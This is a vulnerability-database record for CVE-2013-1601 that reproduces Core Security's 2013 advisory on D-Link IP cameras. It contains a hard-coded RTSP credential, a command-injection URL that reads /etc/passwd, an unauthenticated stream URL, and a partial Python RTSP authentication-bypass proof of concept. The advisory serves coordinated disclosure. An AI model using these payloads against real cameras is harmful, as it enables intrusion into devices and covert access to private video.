password: ?* -----/

As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':

/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/

  1. Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.

  2. References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202001-0841",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5635",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3411",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-3430",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5605",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.06"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1130l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.06"
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-1100l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1100",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2121",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3430",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5605",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5635",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5605/5635",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-1100l/1130l",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1100/1130",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.03"
      },
      {
        "model": "dcs-1100/1130 1.04 us",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102/2121 1.05 ru",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102/2121",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.06"
      },
      {
        "model": "dcs-2102/2121 1.06 fr",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "tesco dcs-2102/2121 1.05 tesco",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411/3430",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "tesco dcs-2121 1.05 tesco",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "tesco dcs-2102 1.05 tesco",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5635",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-5605",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-3430",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-3411",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-2121 1.06 fr",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.06"
      },
      {
        "model": "dcs-2121 1.05 ru",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102 1.06 fr",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.06"
      },
      {
        "model": "dcs-2102 1.05 ru",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1130 1.04 us",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.03"
      },
      {
        "model": "dcs-1100l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1100 1.04 us",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.03"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "db": "BID",
        "id": "59570"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Francisco Falcon and Nahuel Riva from Core Exploit Writers Team",
    "sources": [
      {
        "db": "BID",
        "id": "59570"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-1601",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CVE-2013-1601",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2013-04635",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "exploitabilityScore": 3.9,
            "id": "CVE-2013-1601",
            "impactScore": 1.4,
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 5.3,
            "baseSeverity": "Medium",
            "confidentialityImpact": "Low",
            "exploitabilityScore": null,
            "id": "CVE-2013-1601",
            "impactScore": null,
            "integrityImpact": "None",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-1601",
            "trust": 1.0,
            "value": "MEDIUM"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-1601",
            "trust": 0.8,
            "value": "Medium"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2013-04635",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201305-042",
            "trust": 0.6,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04635"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007135"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-042"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1601"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n   2. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        